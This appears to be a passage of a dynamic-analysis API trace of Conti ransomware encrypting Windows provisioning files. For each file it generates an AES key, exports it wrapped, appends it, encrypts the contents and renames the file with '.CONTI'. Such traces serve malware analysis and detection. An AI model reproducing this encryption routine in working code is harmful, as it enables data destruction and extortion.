	[0110.993] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\23__connections_cellular_vodafone au (australia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\23__connections_cellular_vodafone au (australia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.994] GetProcessHeap () returned 0x1720000
	[0110.994] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.994] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0110.994] GetProcessHeap () returned 0x1720000
	[0110.994] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fa340 | out: hHeap=0x1720000) returned 1
	[0110.994] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0110.994] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x656eaa0 | out: phKey=0x656eaa0*=0x17c81b0) returned 1
	[0110.994] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x656eaa4, pdwDataLen=0x45bfa3c | out: pbData=0x656eaa4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0110.995] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\387__connections_cellular_singtel (singapore)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0110.995] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\387__connections_cellular_singtel (singapore)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0110.995] GetLastError () returned 0x0
	[0110.995] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=714) returned 1
	[0110.995] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0110.995] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.995] SetEndOfFile (hFile=0x410) returned 1
	[0110.996] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.996] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.996] WriteFile (in: hFile=0x410, lpBuffer=0x656eaa4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x656eaa4*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0111.311] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.311] ReadFile (in: hFile=0x410, lpBuffer=0xc100000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x2ca, lpOverlapped=0x0) returned 1
	[0111.311] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2ca, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2d0) returned 1
	[0111.311] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.311] WriteFile (in: hFile=0x410, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.311] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.311] WriteFile (in: hFile=0x410, lpBuffer=0x656ea98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x656ea98*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0111.311] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.311] CloseHandle (hObject=0x410) returned 1
	[0111.361] GetProcessHeap () returned 0x1720000
	[0111.361] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.293] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml"
	[0112.293] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml.CONTI"
	[0112.293] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\387__connections_cellular_singtel (singapore)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\387__connections_cellular_singtel (singapore)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0112.294] GetProcessHeap () returned 0x1720000
	[0112.294] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.294] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0112.294] GetProcessHeap () returned 0x1720000
	[0112.294] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65881a0 | out: hHeap=0x1720000) returned 1
	[0112.294] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0112.294] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x18130b0 | out: phKey=0x18130b0*=0x17c7ef0) returned 1
	[0112.294] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x18130b4, pdwDataLen=0x45bfa3c | out: pbData=0x18130b4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0112.295] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\51__connections_cellular_eronet bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.295] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\51__connections_cellular_eronet bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4
	[0112.295] GetLastError () returned 0x0
	[0112.295] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=737) returned 1
	[0112.296] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e1
	[0112.296] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.296] SetEndOfFile (hFile=0x3f4) returned 1
	[0112.296] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.296] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.296] WriteFile (in: hFile=0x3f4, lpBuffer=0x18130b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x18130b4*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.303] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.303] ReadFile (in: hFile=0x3f4, lpBuffer=0xc100000, nNumberOfBytesToRead=0x2e1, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x2e1, lpOverlapped=0x0) returned 1
	[0112.303] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2e1, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2f0) returned 1
	[0112.303] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.303] WriteFile (in: hFile=0x3f4, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x2f0, lpOverlapped=0x0) returned 1
	[0112.303] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.303] WriteFile (in: hFile=0x3f4, lpBuffer=0x18130a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x18130a8*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0112.303] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.303] CloseHandle (hObject=0x3f4) returned 1
	[0112.303] GetProcessHeap () returned 0x1720000
	[0112.303] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.303] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml"
	[0112.303] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.303] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\51__connections_cellular_eronet bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\51__connections_cellular_eronet bosnia (bosnia and herzegovina)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.304] GetProcessHeap () returned 0x1720000
	[0112.304] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.304] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0112.304] GetProcessHeap () returned 0x1720000
	[0112.304] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1816460 | out: hHeap=0x1720000) returned 1
	[0112.304] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0112.304] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x1813540 | out: phKey=0x1813540*=0x17c7ff0) returned 1
	[0112.304] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1813544, pdwDataLen=0x45bfa3c | out: pbData=0x1813544*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0112.305] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\521__connections_cellular_vodafone (worldwide)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.305] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\521__connections_cellular_vodafone (worldwide)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4
	[0112.305] GetLastError () returned 0x0
	[0112.305] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=724) returned 1
	[0112.305] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d4
	[0112.306] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.306] SetEndOfFile (hFile=0x3f4) returned 1
	[0112.306] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.306] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.306] WriteFile (in: hFile=0x3f4, lpBuffer=0x1813544*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x1813544*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.310] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.310] ReadFile (in: hFile=0x3f4, lpBuffer=0xc100000, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x2d4, lpOverlapped=0x0) returned 1
	[0112.310] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2d4, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x2e0) returned 1
	[0112.310] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.311] WriteFile (in: hFile=0x3f4, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.311] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.311] WriteFile (in: hFile=0x3f4, lpBuffer=0x1813538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x1813538*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0112.311] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.311] CloseHandle (hObject=0x3f4) returned 1
	[0112.311] GetProcessHeap () returned 0x1720000
	[0112.311] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.311] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml"
	[0112.311] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.311] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\521__connections_cellular_vodafone (worldwide)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\521__connections_cellular_vodafone (worldwide)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.312] GetProcessHeap () returned 0x1720000
	[0112.312] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.312] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0112.312] GetProcessHeap () returned 0x1720000
	[0112.312] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180b270 | out: hHeap=0x1720000) returned 1
	[0112.312] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0112.312] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x18139d0 | out: phKey=0x18139d0*=0x17c85b0) returned 1
	[0112.312] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x18139d4, pdwDataLen=0x45bfa3c | out: pbData=0x18139d4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0112.313] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\523__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0112.315] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\523__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4
	[0112.315] GetLastError () returned 0x0
	[0112.315] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=480) returned 1
	[0112.315] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0112.315] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.315] SetEndOfFile (hFile=0x3f4) returned 1
	[0112.329] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.329] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.329] WriteFile (in: hFile=0x3f4, lpBuffer=0x18139d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x18139d4*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.336] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
